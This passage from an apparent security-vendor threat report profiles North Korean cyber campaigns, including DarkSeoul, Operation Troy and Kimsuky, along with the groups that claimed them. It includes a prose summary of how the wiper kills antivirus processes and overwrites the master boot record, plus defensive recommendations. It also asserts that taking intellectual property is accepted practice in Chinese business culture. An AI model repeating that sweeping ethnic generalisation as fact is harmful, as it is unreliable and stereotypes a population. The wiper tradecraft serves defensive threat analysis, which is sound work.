South Korean media, financial, and critical infrastructure targets suffered a DDoS and disk-wiping malware attack later known as the 10 Days of Rain . U.S. and South Korean military entities were also targeted by DDoS during this attack. The attack used the DarkSeoul malware.318 North Korea also disrupted South Korean GPS signals. Additionally, North Korean actors reportedly attempted a DDoS attack against South Korea s Incheon Airport that same month.319 These incidents coincided with the annual U.S. South Korea joint military exercises.320 The following month, North Korean actors reportedly launched a DDoS attack against South Korea s Nonghyup bank.321 In 2012, an attack on South Korean Newspaper JoongAng Ilbo was attributed to North Korean actors. This attack also coincided with the timing of the annual joint U.S. South Korea military exercises.322 In September 2012, North Korea signed a cyber treaty with Iran, agreeing the two nations would collaborate to combat common enemies in cyberspace.323 The week of March 11, 2013, the U.S. and South Korea began their annual joint military exercise near the Korean Peninsula. Like clockwork, attacks attributed to North Korea and now known as the March 20 attacks targeted three South Korean media outlets and Shinhan, Nonghyup, and Jeju banks. North Korea also exhibited other hostile activity at that time. North Korea cut communication with Seoul and announced it had scrapped the 1953 armistice between the two Koreas. North Korea s foreign ministry also issued a statement that it perceived this exercise as a precursor to invasion and that the regime would respond with a strong military counteraction the situation escalated.324 That same week, the North Korean military conducted a drone attack simulation.325 On March 18, the Uriminzokkiri YouTube channel posted an anti-U.S. video entitled Firestorms Will Rain on the Headquarters of War that showed a depiction of the White House in crosshairs, followed by an explosion.326 http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war http://powerofcommunity.net/poc2009/si.pdf http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war http://www.armscontrol.org/factsheets/dprkchron http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war http://threatpost.com/report-north-korea-accused-ddos-attack-south-korean-airport-060712/76664 http://www.reuters.com/article/2011/05/03/us-korea-north-cyber-idUSTRE7421Q520110503 http://koreajoongangdaily.joins.com/news/article/article.aspx?aid=2965629 http://www.theaustralian.com.au/news/latest-news/south-korean-newspaper-joongang-ilbo-hit-by-major-cyber-attack/story-fn3dxix61226391202749 http://www.v3.co.uk/v3-uk/news/2202493/iran-and-north-korea-sign-technology-treaty-to-combat-hostile-malware http://www.presstv.com/detail/2013/03/20/294499/north-korea-threatens-us-over-bombers/ http://www.huffingtonpost.com/2013/03/20/north-koreas-drone_n_2914794.html https://www.youtube.com/watch?v=Dyap eCiOl9A Figure 25 Uriminzokkiri YouTube video portraying anti-U.S. sentiments. 327 In May 2013, DarkSeoul malware was used to attack several South Korean financial institutions; and in June, DarkSeoul DDoS attacks were launched against the South Korean government s DNS server. The latter took place on June 25, the anniversary of the start of the Korean War.328 As evidenced above, much of North Korea s cyber activity coincides with the annual U.S. South Korea joint military exercises. Attacks not following that pattern were typically in response to political events impacting the regime or correlated with significant dates, such as the anniversary of the start of the Korean War. The regime s strategic assets and tactical capabilities in the cyber arena seem to have evolved only slightly since 2009. Most of the attacks attributed to North Korea employ limited tactics, and their operational capability demonstrates an increase in the frequency and volume of attacks but is otherwise unimpressive to date. In June 2014, the regime demanded cancellation of the annual U.S. - South Korea joint military exercise, attempting to use participation in the upcoming Asian Games as a bargaining chip.329 The regime s demands may have had other political motivations, as they preceded the July 2014 meeting between South Korean president Park and Chinese President Xi Jinping. The meeting https://www.youtube.com/watch?v=DyapeCiOl9A http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war http://www.theguardian.com/world/2014/jun/30/north-korea-demands-cancellation-drills centered on trade and regional security issues, including the ever-present rhetoric around denuclearization of North Korea.330 Both leaders were critical of Japan s recent announcement to soften sanctions on North Korea.331 As this report headed to press, the annual U.S. South Korea joint military exercises were underway.332 DarkSeoul The most prominent North Korean threat actor group is the group responsible for the DarkSeoul malware. According to statements from the South Korean government, North Korea s Lab 110 were the actors behind the DarkSeoul malware. South Korean intelligence reports According to statements stated that Lab 110, which is affiliated with the regime s defense ministry, was from the South Korean ordered by the North Korean regime to destroy South Korean communications government, North Korea s Lab 110 were the networks.333 Although the March 20 attacks used DarkSeoul malware, it is interesting actors behind the to note that two groups, WhoIs Team and New Romantic Cyber Army Team, claimed DarkSeoul malware responsibility for the March 20 2013 attacks on South Korean media and financial attacks. institutions.334 Some of the DarkSeoul attacks corresponded with significant dates, such as U.S. Independence Day or the anniversary of the start of the Korean War. DarkSeoul attacks go beyond denial of service and sabotage. As early as 2009, the group responsible for the Dark Seoul attacks launched Operation Troy , an espionage campaign targeting the South Korean military. The operation was codenamed Troy due to the frequent use of the word Troy in the malware compile path strings.335 The malware used in these attacks sought out and exfiltrated data, based on keyword searches. While the malware was clearly intended to search for and exfiltrate certain types of data, its true impact on the targets was never revealed. 336 The March 2011 10 Days of Rain DDoS attacks on U.S. and South Korean sites have also been attributed to the actors associated with DarkSeoul.337 According to Symantec, the politically motivated attacks have required a level of intelligence, coordination, monetary support, and technical sophistication that suggests state sponsorship.338 This designation means the group can be considered an advanced persistent threat (APT). A March 20, 2013 attack attributed to the DarkSeoul actors targeted three South Korean media outlets and Shinhan, Nonghyup, and Jeju banks. The impact of the March 20 attacks included disruption of service at financial institutions and data deletion. However, the targeted entities resumed normal operations shortly thereafter.339 According to South Korean reports, the media outlets targeted corresponded with those listed by the North Korean regime in 2012 as right-wing press that manipulated South Korea s public opinion. In April 2012, the regime reportedly listed http://edition.cnn.com/2014/07/02/world/asia/south-korea-xi-visit/index.html?hpt=hp_bn7 http://mobile.nytimes.com/blogs/sinosphere/2014/07/07/q-and-a-john-delury-on-chinese-south-korean-ties/?smid=tw-share http://www.globalpost.com/dispatch/news/yonhap-news-agency/140825/n-korea-urges-un-action-against-s-korea-us-military-drill http://www.theguardian.com/world/2009/jul/11/south-korea-blames-north-korea-cyber-attacks http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/2 http://www.darkreading.com/attacks-and-breaches/south-korean-bank-hackers-target-us-military-secrets/d/d-id/1110674? http://motherboard.vice.com/blog/the-dark-seoul-hackers-were-after-south-korean-military-secrets http://blogs.mcafee.com/wp-content/uploads/2011/07/McAfee-Labs-10-Days-of-Rain-July-2011.pdf http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war http://www.nytimes.com/2013/03/21/world/asia/south-korea-computer-network-crashes.html?pagewanted=all&_r=1& those entities as attack targets.340 The malware used in the March 20, 2013 attacks were wiper malware. The malware attempted to disable AhnLab and Hauri AV antivirus products then proceeded to overwrite the master boot record (MBR). The attack was capable of wiping both Linux and Windows machines.341 McAfee found that these attacks were the culmination of the malware campaign they dubbed Operation Troy .342 A report from IssueMakersLab tied the actors responsible for the March 20, 2013 attacks to cyber attack activity occurring as early as 2007. IssueMakersLab found that these actors consistently used the same 16-digit password for file compression, the same stage 1 C2 protocol, the same collection keywords and encryption keys, and the same development path.343 According to South Korea s Korea Internet and Security Agency, the North Korean IP address 175.45.178.xx was found scanning South Korean routes the month before the attacks,344 and the same IP was reportedly logged as accessing one of the targets 13 times.345 Details of the March 20 attack also suggested possible ties to China. AlienVault suspected the Chinese exploit kit GonDad was used to spread the malware, and the Korean domains serving the malware were registered using a Chinese email address. Additionally, researchers at AhnLab in South Korea noted a Chinese IP address linked to the attacks.346 While no concrete evidence has been released that indicates Lab 110 was responsible for the DarkSeoul attacks, the responsible group s targets, TTP, and attack timing demonstrate a strong pro-North Korean sentiment. Known tactics, techniques and procedures Customized wiper malware347 DDoS Multi-staged, coordinated attacks348 Destructive payloads with politically significant trigger dates Use of politically themed strings when overwriting disk sectors Utilizing legitimate patching mechanisms to spread malware across corporate networks Encryption and obfuscation methods that have become their signature Repeated use of a specific webmail server Consistent C2 structures Antivirus disablement and evasion349 Watering hole attacks Zero-days Spearphishing350 http://english.yonhapnews.co.kr/northkorea/2013/03/21/71/0401000000AEN20130321006700315F.HTML http://www.theregister.co.uk/Print/2013/03/22/sk_megahack/ http://www.darkreading.com/attacks-and-breaches/south-korean-bank-hackers-target-us-military-secrets/d/d-id/1110674? https://docs.google.com/file/d/0B6CK-ZBGuMe4dGVHdTZnenJMRUk/preview?pli=1 http://english.yonhapnews.co.kr/national/2013/04/11/79/0301000000AEN20130411008351320F.HTML http://www.darkreading.com/attacks-and-breaches/how-south-korea-traced-hacker-to-pyongyang/d/d-id/1109491? http://www.theregister.co.uk/Print/2013/03/22/sk_megahack/ http://news.sky.com/story/1108704/darkseoul-gang-behind-years-of-korea-hacking http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war http://www.theregister.co.uk/Print/2013/03/22/sk_megahack/ http://www.infoworld.com/t/data-security/mcafee-uncovers-massive-cyber-espionage-campaign-against-south-korea-222245 Targets South Korean military U.S. sites Shinhan Bank Nonghyup Bank351 Jeju Bank352 Munhwa Broadcasting Corp. Korea Broadcasting System353 South Korean government DNS server South Korea financial institutions WhoIs Team WhoIs Team is one of two groups that claimed responsibility for the March 20 attacks targeting South Korea. A defacement on the LG +U webpage stated that it was Hacked by WhoIs Team and that the attackers would return. The page featured three skulls.354 However, no other attacks by WhoIs Team have been observed. http://www.reuters.com/article/2011/05/03/us-korea-north-cyber-idUSTRE7421Q520110503 http://www.nytimes.com/2013/03/21/world/asia/south-korea-computer-network-crashes.html?pagewanted=all&_r=1& http://www.businessweek.com/news/2013-03-20/s-dot-korea-hit-by-cyber-attack-roiling-banks-to-broadcasters http://www.zdnet.com/massive-attack-on-lg-uplus-sparks-n-korea-reprisal-fears-7000012881/ Figure 26 A defacement by WhoIs Team 355 Known tactics, techniques, and procedures Wiper malware356 Defacements Targets Took credit for an attack on the LG +U website. http://nakedsecurity.sophos.com/2013/03/20/south-korea-cyber-attack/ http://www.mcafee.com/sg/resources/white-papers/wp-dissecting-operation-troy.pdf Associated actors dbM4st3r d3sign3r APTM4st3r s3ll3r vacc1nm45t3r r3cycl3r Based on North Korea s affinity for disinformation and counterintelligence, we must note the distinct possibility that operatives claiming to be WhoIs Team are part of another group and that the defacement was a false flag operation meant to pin blame on RAON_ASRT. RAON_ASRT is a South Korean white hat capture the flag (CTF) team, whose members also operate under the name WhoIs .357 Figure 27 A screenshot showing that South Korea s RAON_ASRT white hat CTF team also uses the moniker WhoIs.358 RAON_ASRT (the RaonSecure Advanced Security Research Team) and its sub-teams WhoIs Team and Cpark Team359 have participated in and performed well in CTF contests such as the one hosted by DefCon. 360 In 2013, a member of RAON_ASRT was invited to Blue House, the residence of the South Korean president, to meet with president Park and discuss the security industry.361 RAON_ASRT runs the Secuinside CTF competition.362 Their parent organization RaonSecure operates a whitehat training program.363 The group also runs the Korea WhiteHat Contest, which is hosted by South Korea s Ministry of National Defense and National Intelligence Service and https://ctftime.org/team/3206 https://ctftime.org/team/3206 http://ls-al.org/asrt-has-become-the-winner-of-codegate-2013/ http://blog.raonsecure.com/62 http://ls-al.org/asrt-researcher-meets-the-president-park-in-korea/ http://ls-al.org/asrt-runs-secuinside-ctf/ http://www.whitehat.co.kr/ supervised by South Korean Cyber Command.364 For these reasons, it seems unlikely that the RAON_ASRT WhoIs Team would maliciously target South Korean entities. IsOne IsOne is the group that claimed responsibility for the June 2012 attack on the website of South Korean newspaper JoongAng Ilbo. The attack included an attempt to wipe JoongAng Ilbo s servers as well as a defacement depicting a laughing cat. Despite efforts to wipe the target s servers, the target only suffered defacement and temporary downtime.365 Figure 28 Defacement by IsOne . 366 Although the groups have a similar name and both use a cat theme, it is unclear whether a CTF team known as The Cat is Number 1 and IsOne are the same actors. The Cat is Number 1 members claim to hail from North Korea, but there is no hard evidence linking team members to http://ls-al.org/%EB%8C%80%ED%95%9C%EB%AF%BC%EA%B5%AD-%ED%99%94%EC%9D%B4%ED%8A%B8%ED%96%87%EC%BD%98%ED%85%8C%EC%8A%A4%ED%8A%B8korea-whitehat-contest-%EA%B0%9C%EC%B5%9C/ http://koreajoongangdaily.joins.com/news/article/article.aspx?aid=2965629 http://bad-bytes.blogspot.co.uk/2012/06/joongang-ilbo-cyber-attack.html the region.367 Again, it seems that the actors responsible for the attack borrowed the moniker of another group. Figure 29 A screenshot of The Cat is Number One profile on CTF Time 368 According to South Korea s National Police Agency, the attack on JoongAng Ilbo shares characteristics with previous attacks attributed to North Korean actors. An investigation conducted by the agency s Cyber Terror Response Center found that the actors targeting JoongAng Ilbo used two North Korean servers and 17 servers in 10 other countries. One server maintained a constant connection to an IP address belonging to Joson Telecommunication Company, which is affiliated with North Korea s Ministry of Posts and Telecommunications. Investigators found that one of the servers used in the attack on JoongAng Ilbo was also used in the March 2011 DDoS attacks on South Korean critical infrastructure sites and the April 2011 attack on Nyongyup Bank.369 Known tactics, techniques and procedures Wiper malware Defacements Targets Took credit for defacing JoongAng Ilbo. https://ctftime.org/team/2538 https://ctftime.org/team/2538 http://koreajoongangdaily.joins.com/news/article/article.aspx?aid=2965629 Kimsukyang The Kimsuky malware, which targeted South Korean think tanks, is loosely attributed to an actor referred to as Kimsukyang. Little is known about the actor or group responsible for the malware. However, the following email addresses are associated with the Kimsuky operation:370 beautifl@mail.bg ennemyman@mail.bg fasionman@mail.bg happylove@mail.bg lovest000@mail.bg monneyman@mail.bg sportsman@mail.bg veryhappy@mail.bg iop110112@hotmail.com rsh1213@hotmail.com The email address iop110112@hotmail.com was registered using the alias kimsukyang , and rsh1213@hotmail.com was registered using the alias Kim asdfa Kaspersky found that the Kimsuky operation used 10 IP addresses in two Chinese provinces that border North Korea: Jilin and Liaoning.371 Known tactics, techniques and procedures Malware with keylogger and data exfiltration capabilities Malware disables AhnLab security software372 Targets Sejong Institute Korea Institute for Defense Analyses (KIDA) Ministry of Unification Hyundai Merchant Marine The Supporters of Korean Unification373 New Romantic Cyber Army Team / Hastati The New Romantic Cyber Army Team also took credit for the March 20, 2013 attacks. McAfee suspected New Romantic Cyber Army Team were responsible for Operation Troy and the resulting March 20, 2013 attacks due to the group frequent use of Roman and classical terms in their http://www.securelist.com/en/analysis/204792305/The_Kimsuky_Operation_A_North_Korean_APT http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/5 http://www.securelist.com/en/analysis/204792305/The_Kimsuky_Operation_A_North_Korean_APT http://www.securelist.com/en/analysis/204792305/The_Kimsuky_Operation_A_North_Korean_APT code. 374 It is unknown whether Hastati is an alternate name for the group or whether Hastati is an individual actor within the group. It is interesting to note that the malware associated with these actors uses the strings HASTATI and PRINCIPES to overwrite the MBR. The name Hastati likely refers to a class of infantrymen of the early Roman Republic. The Hastati were less experienced soldiers who fought on the frontlines with spears and swords. Principes likely refers to more experienced Roman soldiers who fought on the second line of battle. 375 Figure 30 Defacement by Hastati.376 Known tactics, techniques and procedures Wiper malware Targets KBS TV377 Entities targeted in Operation Troy378 Malware summary HP researchers had previously analyzed samples of the DarkSeoul dropper, and findings were published in our annual HP Cyber Risk Report 2013. Analysis of this malware is included in Appendix C. Analysis of additional malware used in these campaigns produced no new findings and only corroborated what was found by external security researchers. These publicly available analyses have been cited throughout the report. Some of the malware samples were no longer publicly available. However, CrowdStrike obtained these missing samples before they disappeared from the wild and conducted thorough analysis, which was released in their subscription-only reports. While we cannot divulge detailed information from those reports, an overview of the findings is provided below. http://www.darkreading.com/attacks-and-breaches/south-korean-bank-hackers-target-us-military-secrets/d/d-id/1110674? http://www.roman-empire.net/army/army.html#earlylegion http://eromang.zataz.com/2013/04/02/dark-south-korea-total-war-review/ http://eromang.zataz.com/2013/04/02/dark-south-korea-total-war-review/ http://www.mcafee.com/us/resources/white-papers/wp-dissecting-operation-troy.pdf The majority of the malware used in cyber incidents attributed to North Korea were variations of three types of malware: dropper, wiper, and IRC remote access trojan (RAT). CrowdStrike attribution of this malware to North Korean actors stemmed from two primary factors: Korean language characters found in the binaries and the propensity to specifically target South Korean entities.379 Dropper samples consistently targeted AhnLab Policy Center as a propagation method. This information is corroborated in a Black Hat Asia 2014 presentation by Fortinet researcher Kyle Yang.380 CrowdStrike s report also briefly noted the use of an update server vector.381 Yang analyzed the malware's update config metadata and matched its format to the AhnLab Policy Center. To test its payload, Yang set up a server/client and executed the update through the server. As Yang had predicted, it wiped the client.382 While the method for initial compromise of the update server is not noted in detail, CrowdStrike s report cites collateral information that suggests targeted email attacks were used to gain initial entry, and policy servers were then compromised. The upload server vector included a time-based logic bomb that allowed the wiper to target a large number of systems, on a set time and date, with full permissions on all of the targeted systems.383 According to CrowdStrike, the wiper malware was dropped on the systems as AgentBase.exe. The wiper used the Windows utility 'taskkill' to kill the processes pasvc.exe and clisvc.exe, which are the main processes for the Ahnlab and Hauri antivirus applications.384 385 The wiper then performed system reconnaissance, gathering drive information and operating system version. Depending on the OS used, the wiper recursively deleted files on the file system, deleting the Windows folder last. It then overwrote the MBR with the strings "HASTATI", "PRINCPES", "PRINCIPES", or "PR!NCPES .386 While there are several variants of the wiper, all seem to have been used on the same date. It is unclear why multiple wiper variants with slightly differing behavior were used for the same campaign. One possible explanation is that multiple variants were used to minimize the operational damage to the mission in the case of an early detection of one of the variants. For example, if one wiper variant was compromised or detected by antivirus or IDS signatures, the other variants may have differed enough to remain undetected, still resulting in mission success. According to CrowdStrike, a third malware component downloaded an IRC RAT from various compromised websites. This RAT is detected by Symantec as Backdoor.Prioxer. Prioxer has been linked to other 2011 attacks on South Korea. It is unclear whether these downloaders were CrowdStrike Intelligence Report CSIR-13013 Yang, Kyle. Z:\Make Troy\, Not War: Case Study of the Wiper APT in Korea, and Beyond. Black Hat Asia, March 2014. CrowdStrike Intelligence Report CSIR-13013 Yang, Kyle. Z:\Make Troy\, Not War: Case Study of the Wiper APT in Korea, and Beyond. Black Hat Asia, March 2014. CrowdStrike Intelligence Report CSIR-13013 CrowdStrike Intelligence Report CSIR-13030 Yang, Kyle. Z:\Make Troy\, Not War: Case Study of the Wiper APT in Korea, and Beyond. Black Hat Asia, March 2014. CrowdStrike Intelligence Report CSIR-13030 pushed out in the same update server vector as the wipers. However, the two malware types both use the same packer 'Jokra' and both contain the strings HASTATI" and "PRINCPES .387 Analysis Based on the information above, we have identified strategic challenges that impact the development of North Korea s cyber warfare capabilities. We have also noted relevant implications: The North Korean regime strictly controls all Internet infrastructure,388 meaning cyber activity by dissidents or autonomous hacker groups are very unlikely. In other words, any cyber attacks originating in North Korea can be assumed to be state sponsored. For this reason, according to defectors, the regime s cyber operators do not typically launch attacks directly from within North Korea. Instead, many regime-sponsored attacks are launched from cells based in China, U.S., South Asia, Europe, and even South Korea.389 North Korea has a limited number of outgoing connections.390 For this reason, there is a low probability of DDoS originating from within. However, this does not preclude the use of botnets with a local C2 server or the use of networks in third-party nations to launch attacks. As seen in the July 2009 attacks on South Korean and U.S. targets, North Korea has leveraged networks in countries such as Austria, Georgia, Germany, and even South Korea and the U.S., in order to launch cyber attacks.391 North Korea will likely be forced to rely on third parties for quite some time, due to its lack of sufficient infrastructure for launching large-scale CNO. Several outward facing websites are hosted in China and other countries. This implies two possibilities: that North Korea s infrastructure cannot handle a heavy incoming traffic load or that the regime wants to separate the propaganda crafted for an outside target audience from internally-focused propaganda. This arrangement seems unlikely to change in the foreseeable future. North Korea is known to have unstable power supplies393, which limits scalability of the regime s current CNO capabilities. This is another reason why expansion of CNO capabilities using the nation s own infrastructure seems unlikely in the foreseeable future. North Korea is known to have monetary deficiencies,394 which further limit expansion of infrastructure and CNO capabilities, at least without third-party aid. North Korea continues to rely heavily on China for sustainment.395 Although we see few instances of overt cyber operations, that North Korea reportedly spends so much of its limited resources on training and equipping cyber operators speaks volumes. The human element of the regime s cyber war program, at least, has potential. CrowdStrike Intelligence Report CSIR-13013 http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/5 http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf http://www.theguardian.com/world/2009/jul/11/south-korea-blames-north-korea-cyber-attacks http://binarycore.org/2012/05/30/investigating-north-koreas-netblock-part-3-topology/ http://38north.org/2010/09/speak-loudly-and-carry-a-small-stick-the-north-korean-cyber-menace/ http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf Sanctions against North Korea and export laws prohibit the sale of certain technologies to the regime.396 In other words, in order to obtain the technology needed for a cyber warfare program, the regime must improvise. North Korea must develop its own technology, manufacture technology using plans obtained via industrial espionage, or rely on third parties to procure it for them. However, the regime has historically failed in its attempts of large-scale production of electronic components. At present, North Korea relies on China to provide much of its network hardware, including servers and routers.397 It is unlikely that North Korea will compromise on its nuclear program, meaning sanctions will likely be longstanding, and the regime will have to continue to rely on third parties to procure technology. Cyber incidents attributed to North Korean actors seem to follow distinct patterns: According to reports by other researchers, the conventions and C2 structure used by North Korean cyber actors show continuity and consistency over time. The majority of the incidents attributed to North Korean actors consistently used wiper malware. Several of the incidents included defacements, with a different group taking credit each time. Additionally, little information or attack history was found about any of the groups, aside from information acknowledged in this report. These factors seem to indicate that a single group may have been responsible for several attacks over time, using different group names as a false flag. On more than one occasion, the malware included provisions to disable security software made by South Korean security company AhnLab. This detail strengthens the case that the malware was written or modified to specifically target South Korean machines. The attacks followed an explicit pattern: most were around the time of U.S. South Korean joint military exercises, while the others fell on a significant date or were in response to political events. The primary targets were South Korean and U.S. entities. While these nations are traditionally targeted by the regime, it is also possible that South Korean entities are quick to attribute any attack on their infrastructure to North Korean actors. In fact, in some cases, South Korean reports were the only source of attribution. Summary Does North Korea have sufficient cyber infrastructure and cyber warfare capabilities to harm the U.S. and its allies? While North Korea s cyber warfare capabilities pale in comparison to those of wealthier nations, the regime has made significant progress in developing its infrastructure and in establishing cyber operations. The rate of this progress warrants a closer look at North Korea motivations, TTPs, and capabilities. As noted above, North Korea views the U.S. and South Korea as its primary adversaries. The U.S. and South Korea are high-tech nations with economies that http://www.foxnews.com/world/2012/04/03/exclusive-cash-for-computers-is-un-busting-its-own-sanctions-in-north-korea/ http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4 depend heavily on technology.398 In contrast, North Korea does not have a high tech culture. For these reasons, we should not overestimate the regime s advanced cyber capability, yet we should never underestimate the potential impact of North Korea utilizing less advanced, quick-and-dirty tactics like DDoS to cripple their high-tech targets. Both government and corporate entities are susceptible to being targeted by North Korean cyber attacks. North Korean juche ideology places the survival of the regime as its primary goal, and any perceived threat to the regime may be targeted. Several attacks on U.S. and South Korean government, financial, and critical infrastructure entities have been attributed to North Korean origins.. These attacks were often preceded by or occurred in conjunction with North Korea voicing negative sentiments about the targeted entities. As we saw with Iranian cyber actors in HPSR Security Briefing Episode 11,399 state sponsored cyber actors often launch an attack in response to a political trigger. The same pattern seems to apply to pro-North Korean cyber actors, who have launched attacks to coincide with U.S. Independence Day and the anniversary of the start of the Korean War, as well as propaganda and cyber attacks in response to joint military exercises between the U.S. and South Korea.400 401 As shown by North Korea's past behavior (which is consistent with their doctrine), they are easily "pushed into a corner". At the slightest perceived threat, the regime responds with saber-rattling and peacocking. The regime is extremely defensive and will, in turn, flex its muscles to show the world how capable it is, even if this is an inaccurate display of their overall capabilities. The regime fears losing its control and the nation s culture to the ever-growing threat of outside influence, as is evidenced in the regime s reaction to the comedy film The Interview . The regime has represented itself to its citizens as a powerful and capable entity and has used this status to control the populace. For this reason, the regime s leaders are forced to continually demonstrate this strength and power, or an illusion thereof, both domestically and globally, in order to maintain the status needed to ensure continued suppression of the population. This show of power may require that the regime takes chances and stretches beyond its abilities at times, but in the spirit of juche and songun, the regime will continue this fa ade, fearful of losing the image its leaders have worked so hard to maintain. HP Security Research recommendations North Korean cyber operations are not generally observed originating from home field IP address space, so geo-IP based blocking of traffic originating from those net-blocks is ineffective. http://www.apcss.org/Publications/Edited%20Volumes/BytesAndBullets/CH2.pdf http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/HPSR-Threat-Intelligence-Briefing-Episode-11/ba-p/6385243#.U5HkbpRdV90 http://www.zdnet.com/south-korea-braces-for-norths-cyberattacks-7000012587/ http://www.symantec.com/connect/blogs/four-years-darkseoul-cyberattacks-against-south-korea-continue-anniversary-korean-war Given that North Korea has capable and technically trained forces and will demonstrate their power when they feel provoked, western entities should consciously avoid promoting ideas or doctrine that is blatantly slanderous to the regime. Encouraging such ideas could cause those entities to become a focal point for North Korean cyber attacks. Due to the fact that North Korean infrastructure is aging and its resources are not able to keep up with the rest of the world, entities with interesting R&D or IP (intellectual property) - especially military in nature could become targets of interest for North Korea. Interest in defense-related IP and R&D could also stem from North Korea s relationship with China. In the Chinese business culture, taking another entity s IP or R&D is not stealing it is accepted as business as usual. It is possible that North Korea, if under Chinese influence, would adopt the same attitude, given the regime s limited capacity for homegrown innovation. Known DPRK targets have been limited primarily to South Korean and U.S. organizations and government entities. For these targets, prudent measures should include: Following traditional defense in depth approaches and security best practices Monitoring for malware that disables Korean language antivirus software, such as that from AhnLab To protect against the attack vectors used in North Korean malware campaigns, an advisable prevention tactic is to focus on hardening update/patch management systems. These systems are appealing targets due to the potential for a large impact Appendix A WHOIS records WHOIS record for silibank.net: Domain Name: silibank.net Registry Domain ID: Registrar WHOIS Server: whois.discount-domain.com Registrar URL: http://www.onamae.com Updated Date: 2014-03-11 17:27:55.0 Creation Date: 2006-03-13 13:14:53.0 Registrar Registration Expiration Date: 2015-03-13 03:14:53.0 Registrar: GMO INTERNET, INC. Registrar IANA ID: 49 Registrar Abuse Contact Email: abuse@gmo.jp Registrar Abuse Contact Phone: Domain Status: ACTIVE Registry Registrant ID: Registrant Name: Whois Privacy Protection Service by MuuMuuDomain Registrant Organization: Whois Privacy Protection Service by MuuMuuDomain Registrant Street1: 2-7-21 Tenjin Chuo-ku Registrant Street2: Tenjin Prime 8F Registrant City: Fukuoka-shi Registrant State/Province: Fukuoka Registrant Postal Code: 810-0001 Registrant Country: JP Registrant Phone: 81-927137999 Registrant Phone Ext: Registrant Fax: 81-927137944 Registrant Fax Ext: Registrant Email: privacy@whoisprivacyprotection.info Registry Admin ID: Admin Name: Whois Privacy Protection Service by MuuMuuDomain Admin Organization: Whois Privacy Protection Service by MuuMuuDomain Admin Street1: 2-7-21 Tenjin Chuo-ku Admin Street2: Tenjin Prime 8F Admin City: Fukuoka-shi Admin State/Province: Fukuoka Admin Postal Code: 810-0001 Admin Country: JP Admin Phone: 81-927137999 Admin Phone Ext: Admin Fax: 81-927137944 Admin Fax Ext: Admin Email: privacy@whoisprivacyprotection.info Registry Tech ID: Tech Name: Whois Privacy Protection Service by MuuMuuDomain Tech Organization: Whois Privacy Protection Service by MuuMuuDomain Tech Street1: 2-7-21 Tenjin Chuo-ku Tech Street2: Tenjin Prime 8F Tech City: Fukuoka-shi Tech State/Province: Fukuoka Tech Postal Code: 810-0001 Tech Country: JP Tech Phone: 81-927137999 Tech Phone Ext: Tech Fax: 81-927137944 Tech Fax Ext: Tech Email: privacy@whoisprivacyprotection.info Name Server: ns1.dns.ne.jp Name Server: ns2.dns.ne.jp WHOIS Record for kcna.kp: inetnum: 175.45.176.0 - 175.45.179.255 netname: STAR-KP descr: Ryugyong-dong descr: Potong-gang District country: KP admin-c: SJVC1-AP tech-c: SJVC1-AP status: ALLOCATED PORTABLE mnt-by: APNIC-HM mnt-lower: MAINT-STAR-KP mnt-routes: MAINT-STAR-KP remarks: -+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+ remarks: This object can only be updated by APNIC hostmasters. remarks: To update this object, please contact APNIC remarks: hostmasters and include your organisation's account remarks: name in the subject line. remarks: -+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+ mnt-irt: IRT-STAR-KP changed: hm-changed@apnic.net 20091221 source: APNIC irt: IRT-STAR-KP address: Ryugyong-dong Potong-gang District e-mail: sahayod@loxley.co.th abuse-mailbox: sahayod@loxley.co.th admin-c: SJVC1-AP tech-c: SJVC1-AP auth: # Filtered mnt-by: MAINT-STAR-KP changed: sahayod@loxley.co.th 20120202 source: APNIC role: STAR JOINT VENTURE CO LTD - network administrat address: Ryugyong-dong Potong-gang District country: KP phone: +66 81 208 7602 fax-no: +66 2 240 3180 e-mail: sahayod@loxley.co.th admin-c: SJVC1-AP tech-c: SJVC1-AP nic-hdl: SJVC1-AP mnt-by: MAINT-STAR-KP changed: hm-changed@apnic.net 20091214 source: APNIC WHOIS Record for rodong.rep.kp: inetnum: 175.45.176.0 - 175.45.179.255 netname: STAR-KP descr: Ryugyong-dong descr: Potong-gang District country: admin-c: SJVC1-AP tech-c: SJVC1-AP status: ALLOCATED PORTABLE mnt-by: APNIC-HM mnt-lower: MAINT-STAR-KP mnt-routes: MAINT-STAR-KP remarks: -+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+ remarks: This object can only be updated by APNIC hostmasters. remarks: To update this object, please contact APNIC remarks: hostmasters and include your organisation's account remarks: name in the subject line. remarks: -+-+-+-+-+-+-+-+-+-+-+-++-+-+-+-+-+-+-+-+-+-+-+-+-+-+ mnt-irt: IRT-STAR-KP changed: hm-changed@apnic.net 20091221 source: APNIC irt: IRT-STAR-KP address: Ryugyong-dong Potong-gang District e-mail: sahayod@loxley.co.th abuse-mailbox: sahayod@loxley.co.th admin-c: SJVC1-AP tech-c: SJVC1-AP auth: # Filtered mnt-by: MAINT-STAR-KP changed: sahayod@loxley.co.th 20120202 source: 